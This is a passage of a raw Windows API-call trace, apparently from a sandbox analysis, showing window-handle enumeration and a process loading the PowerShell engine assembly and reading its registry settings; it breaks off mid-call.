[0048.951] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x608 [0048.951] GetLastError () returned 0x514 [0048.951] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x75c [0048.951] GetLastError () returned 0x514 [0048.951] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x318 [0048.952] GetLastError () returned 0x514 [0048.952] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x7ac [0048.952] GetLastError () returned 0x514 [0048.952] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x660 [0048.952] GetLastError () returned 0x514 [0048.952] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x38c [0048.952] GetLastError () returned 0x514 [0048.952] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x6e0 [0048.952] GetLastError () returned 0x514 [0048.952] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x610 [0048.952] GetLastError () returned 0x514 [0048.952] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x624 [0048.952] GetLastError () returned 0x514 [0048.952] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x160 [0048.952] GetLastError () returned 0x514 [0048.952] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x7f0 [0048.952] GetLastError () returned 0x514 [0048.952] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x7a8 [0048.952] GetLastError () returned 0x514 [0048.952] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x7b4 [0048.952] GetLastError () returned 0x514 [0048.953] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x7a4 [0048.953] GetLastError () returned 0x514 [0048.953] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x7c4 [0048.953] GetLastError () returned 0x514 [0048.953] GetWindowThreadProcessId (in: hWnd=0x10152, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x7fc [0048.953] GetLastError () returned 0x514 [0048.953] GetWindowThreadProcessId (in: hWnd=0x10150, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x7f8 [0048.953] GetLastError () returned 0x514 [0048.953] GetWindowThreadProcessId (in: hWnd=0x5014a, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x708 [0048.953] GetLastError () returned 0x514 [0048.953] GetWindowThreadProcessId (in: hWnd=0x30148, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x588 [0048.953] GetLastError () returned 0x514 [0048.953] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x580 [0048.953] GetLastError () returned 0x514 [0048.953] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x5a8 [0048.953] GetLastError () returned 0x514 [0048.953] GetWindowThreadProcessId (in: hWnd=0x20132, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x580 [0048.953] GetLastError () returned 0x514 [0048.953] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x5a8 [0048.953] GetLastError () returned 0x514 [0048.953] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x580 [0048.953] GetLastError () returned 0x514 [0048.954] GetWindowThreadProcessId (in: hWnd=0x10114, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x588 [0048.954] GetLastError () returned 0x514 [0048.954] GetWindowThreadProcessId (in: hWnd=0x200d2, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x588 [0048.954] GetLastError () returned 0x514 [0048.954] GetWindowThreadProcessId (in: hWnd=0x200c2, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4ac [0048.954] GetLastError () returned 0x514 [0048.954] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4ac [0048.954] GetLastError () returned 0x514 [0048.954] GetWindowThreadProcessId (in: hWnd=0x200b2, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4ac [0048.954] GetLastError () returned 0x514 [0048.954] GetWindowThreadProcessId (in: hWnd=0x200b6, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4ac [0048.954] GetLastError () returned 0x514 [0048.954] GetWindowThreadProcessId (in: hWnd=0x200be, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4ac [0048.954] GetLastError () returned 0x514 [0048.954] GetWindowThreadProcessId (in: hWnd=0x300cc, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4ac [0048.954] GetLastError () returned 0x514 [0048.954] GetWindowThreadProcessId (in: hWnd=0x800a2, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4ac [0048.954] GetLastError () returned 0x514 [0048.954] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x5b8 [0048.954] GetLastError () returned 0x514 [0048.954] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x468 [0048.955] GetLastError () returned 0x514 [0048.955] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x5a4 [0048.955] GetLastError () returned 0x514 [0048.955] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4ac [0048.955] GetLastError () returned 0x514 [0048.955] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x570 [0048.955] GetLastError () returned 0x514 [0048.955] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4ac [0048.955] GetLastError () returned 0x514 [0048.955] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4ac [0048.955] GetLastError () returned 0x514 [0048.955] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4ac [0048.955] GetLastError () returned 0x514 [0048.955] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x788 [0048.955] GetLastError () returned 0x514 [0048.955] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x770 [0048.955] GetLastError () returned 0x514 [0048.955] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4ac [0048.955] GetLastError () returned 0x514 [0048.955] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4f0 [0048.955] GetLastError () returned 0x514 [0048.956] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4ac [0048.956] GetLastError () returned 0x514 [0048.956] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x468 [0048.956] GetLastError () returned 0x514 [0048.956] GetWindowThreadProcessId (in: hWnd=0x20040, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x468 [0048.956] GetLastError () returned 0x514 [0048.956] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x454 [0048.956] GetLastError () returned 0x514 [0048.956] GetWindowThreadProcessId (in: hWnd=0x1010e, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x65c [0048.956] GetLastError () returned 0x514 [0048.956] GetWindowThreadProcessId (in: hWnd=0x100ee, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x468 [0048.956] GetLastError () returned 0x514 [0048.956] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x310 [0048.956] GetLastError () returned 0x514 [0048.956] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4ac [0048.956] GetLastError () returned 0x514 [0048.956] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4ac [0048.956] GetLastError () returned 0x514 [0048.956] GetWindowThreadProcessId (in: hWnd=0x2010c, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0xa3c [0048.956] GetLastError () returned 0x514 [0048.956] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x8d8 [0048.956] GetLastError () returned 0x514 [0048.956] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x8d8 [0048.956] GetLastError () returned 0x514 [0048.956] GetWindowThreadProcessId (in: hWnd=0x301f4, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x9c4 [0048.956] GetLastError () returned 0x514 [0048.957] GetWindowThreadProcessId (in: hWnd=0x401e8, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x9c4 [0048.957] GetLastError () returned 0x514 [0048.957] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x820 [0048.957] GetLastError () returned 0x514 [0048.957] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x810 [0048.957] GetLastError () returned 0x514 [0048.957] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x608 [0048.957] GetLastError () returned 0x514 [0048.957] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x75c [0048.957] GetLastError () returned 0x514 [0048.957] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x318 [0048.957] GetLastError () returned 0x514 [0048.957] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x7ac [0048.957] GetLastError () returned 0x514 [0048.957] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x660 [0048.957] GetLastError () returned 0x514 [0048.957] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x38c [0048.957] GetLastError () returned 0x514 [0048.957] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x6e0 [0048.957] GetLastError () returned 0x514 [0048.957] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x610 [0048.957] GetLastError () returned 0x514 [0048.957] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x624 [0048.957] GetLastError () returned 0x514 [0048.957] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x160 [0048.958] GetLastError () returned 0x514 [0048.958] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x7f0 [0048.958] GetLastError () returned 0x514 [0048.958] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x7a8 [0048.958] GetLastError () returned 0x514 [0048.958] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x7b4 [0048.958] GetLastError () returned 0x514 [0048.958] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x7a4 [0048.958] GetLastError () returned 0x514 [0048.958] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x7c4 [0048.958] GetLastError () returned 0x514 [0048.958] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x7fc [0048.958] GetLastError () returned 0x514 [0048.958] GetWindowThreadProcessId (in: hWnd=0x10154, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x7f8 [0048.958] GetLastError () returned 0x514 [0048.958] GetWindowThreadProcessId (in: hWnd=0x2014c, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x708 [0048.958] GetLastError () returned 0x514 [0048.958] GetWindowThreadProcessId (in: hWnd=0x10128, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x5a8 [0048.958] GetLastError () returned 0x514 [0048.958] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x580 [0048.958] GetLastError () returned 0x514 [0048.958] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x588 [0048.958] GetLastError () returned 0x514 [0048.958] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x468 [0048.958] GetLastError () returned 0x514 [0048.958] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x788 [0048.959] GetLastError () returned 0x514 [0048.959] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x770 [0048.959] GetLastError () returned 0x514 [0048.959] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x4f0 [0048.959] GetLastError () returned 0x514 [0048.959] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x468 [0048.959] GetLastError () returned 0x514 [0048.959] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x27e540 | out: lpdwProcessId=0x27e540) returned 0x65c [0048.959] GetLastError () returned 0x514 [0048.959] GetLastError () returned 0x514 [0048.970] WerSetFlags () returned 0x0 [0049.017] SetThreadPreferredUILanguages (in: dwFlags=0x100, pwszLanguagesBuffer=0x0, pulNumLanguages=0x0 | out: pulNumLanguages=0x0) returned 1 [0049.018] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x27e91c, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x27e918 | out: pulNumLanguages=0x27e91c, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x27e918) returned 1 [0049.018] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x27e91c, pwszLanguagesBuffer=0x29db71c, pcchLanguagesBuffer=0x27e918 | out: pulNumLanguages=0x27e91c, pwszLanguagesBuffer=0x29db71c, pcchLanguagesBuffer=0x27e918) returned 1 [0049.037] GetUserDefaultLocaleName (in: lpLocaleName=0x2d1db8, cchLocaleName=16 | out: lpLocaleName="en-US") returned 6 [0049.084] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0049.084] GetLastError () returned 0xcb [0049.087] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0049.087] GetLastError () returned 0xcb [0049.088] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0049.088] GetLastError () returned 0xcb [0049.104] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e38c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0049.104] GetLastError () returned 0xcb [0049.104] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e3a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0049.104] GetLastError () returned 0xcb [0049.104] SetErrorMode (uMode=0x1) returned 0x1 [0049.104] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x27e828 | out: lpFileInformation=0x27e828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0049.104] GetLastError () returned 0xcb [0049.104] SetErrorMode (uMode=0x1) returned 0x1 [0049.105] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x27e8ac | out: lpdwHandle=0x27e8ac) returned 0x94c [0049.108] GetLastError () returned 0x0 [0049.108] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x29ddc4c | out: lpData=0x29ddc4c) returned 1 [0049.109] VerQueryValueW (in: pBlock=0x29ddc4c, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x27e878, puLen=0x27e874 | out: lplpBuffer=0x27e878*=0x29ddce8, puLen=0x27e874) returned 1 [0049.109] VerQueryValueW (in: pBlock=0x29ddc4c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x27e7f4, puLen=0x27e7f0 | out: lplpBuffer=0x27e7f4*=0x29dddc4, puLen=0x27e7f0) returned 1 [0049.109] lstrlenW (lpString="Microsoft Corporation") returned 21 [0049.109] lstrcpyW (in: lpString1=0x2d1db8, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0049.109] VerQueryValueW (in: pBlock=0x29ddc4c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x27e7f4, puLen=0x27e7f0 | out: lplpBuffer=0x27e7f4*=0x29dde18, puLen=0x27e7f0) returned 1 [0049.109] lstrlenW (lpString="System.Management.Automation") returned 28 [0049.109] lstrcpyW (in: lpString1=0x2d1db8, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0049.109] VerQueryValueW (in: pBlock=0x29ddc4c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x27e7f4, puLen=0x27e7f0 | out: lplpBuffer=0x27e7f4*=0x29dde74, puLen=0x27e7f0) returned 1 [0049.109] lstrlenW (lpString="6.1.7601.17514") returned 14 [0049.109] lstrcpyW (in: lpString1=0x2d1db8, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0049.109] VerQueryValueW (in: pBlock=0x29ddc4c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x27e7f4, puLen=0x27e7f0 | out: lplpBuffer=0x27e7f4*=0x29ddeb4, puLen=0x27e7f0) returned 1 [0049.109] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0049.109] lstrcpyW (in: lpString1=0x2d1db8, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0049.110] VerQueryValueW (in: pBlock=0x29ddc4c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x27e7f4, puLen=0x27e7f0 | out: lplpBuffer=0x27e7f4*=0x29ddf1c, puLen=0x27e7f0) returned 1 [0049.110] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0049.110] lstrcpyW (in: lpString1=0x2d1db8, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0049.110] VerQueryValueW (in: pBlock=0x29ddc4c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x27e7f4, puLen=0x27e7f0 | out: lplpBuffer=0x27e7f4*=0x29ddfb8, puLen=0x27e7f0) returned 1 [0049.110] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0049.110] lstrcpyW (in: lpString1=0x2d1db8, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0049.110] VerQueryValueW (in: pBlock=0x29ddc4c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x27e7f4, puLen=0x27e7f0 | out: lplpBuffer=0x27e7f4*=0x29de01c, puLen=0x27e7f0) returned 1 [0049.110] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0049.110] lstrcpyW (in: lpString1=0x2d1db8, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0049.110] VerQueryValueW (in: pBlock=0x29ddc4c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x27e7f4, puLen=0x27e7f0 | out: lplpBuffer=0x27e7f4*=0x29de098, puLen=0x27e7f0) returned 1 [0049.110] lstrlenW (lpString="6.1.7601.17514") returned 14 [0049.110] lstrcpyW (in: lpString1=0x2d1db8, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0049.110] VerQueryValueW (in: pBlock=0x29ddc4c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x27e7f4, puLen=0x27e7f0 | out: lplpBuffer=0x27e7f4*=0x29ddd40, puLen=0x27e7f0) returned 1 [0049.110] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0049.110] lstrcpyW (in: lpString1=0x2d1db8, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0049.110] VerQueryValueW (in: pBlock=0x29ddc4c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x27e7f4, puLen=0x27e7f0 | out: lplpBuffer=0x27e7f4*=0x0, puLen=0x27e7f0) returned 0 [0049.110] VerQueryValueW (in: pBlock=0x29ddc4c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x27e7f4, puLen=0x27e7f0 | out: lplpBuffer=0x27e7f4*=0x0, puLen=0x27e7f0) returned 0 [0049.110] VerQueryValueW (in: pBlock=0x29ddc4c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x27e7f4, puLen=0x27e7f0 | out: lplpBuffer=0x27e7f4*=0x0, puLen=0x27e7f0) returned 0 [0049.110] VerQueryValueW (in: pBlock=0x29ddc4c, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x27e7e8, puLen=0x27e7e4 | out: lplpBuffer=0x27e7e8*=0x29ddce8, puLen=0x27e7e4) returned 1 [0049.110] VerLanguageNameW (in: wLang=0x0, szLang=0x2d1db8, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0049.110] VerQueryValueW (in: pBlock=0x29ddc4c, lpSubBlock="\\", lplpBuffer=0x27e7fc, puLen=0x27e7f8 | out: lplpBuffer=0x27e7fc*=0x29ddc74, puLen=0x27e7f8) returned 1 [0049.115] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0049.115] GetLastError () returned 0xcb [0049.133] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0049.133] GetLastError () returned 0xcb [0049.135] lstrlenW (lpString="䅁") returned 1 [0049.138] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e7c0 | out: phkResult=0x27e7c0*=0x310) returned 0x0 [0049.138] RegOpenKeyExW (in: hKey=0x310, lpSubKey="1", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e7c4 | out: phkResult=0x27e7c4*=0x314) returned 0x0 [0049.138] RegOpenKeyExW (in: hKey=0x314, lpSubKey="PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e7f8 | out: phkResult=0x27e7f8*=0x318) returned 0x0 [0049.140] RegQueryValueExW (in: hKey=0x318, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e838, lpData=0x0, lpcbData=0x27e834*=0x0 | out: lpType=0x27e838*=0x1, lpData=0x0, lpcbData=0x27e834*=0x56) returned 0x0 [0049.141] RegQueryValueExW (in: hKey=0x318, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e838, lpData=0x2d1db8, lpcbData=0x27e834*=0x56 | out: lpType=0x27e838*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x27e834*=0x56) returned 0x0 [0049.143] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e340, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0049.143] GetLastError () returned 0x0 [0049.144] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e340, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0049.144] GetLastError () returned 0x0 [0049.151] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e340, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0049.151] GetLastError () returned 0x0 [0049.182] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0049.182] GetLastError () returned 0xcb [0049.381] GetFullPathNameW (in: 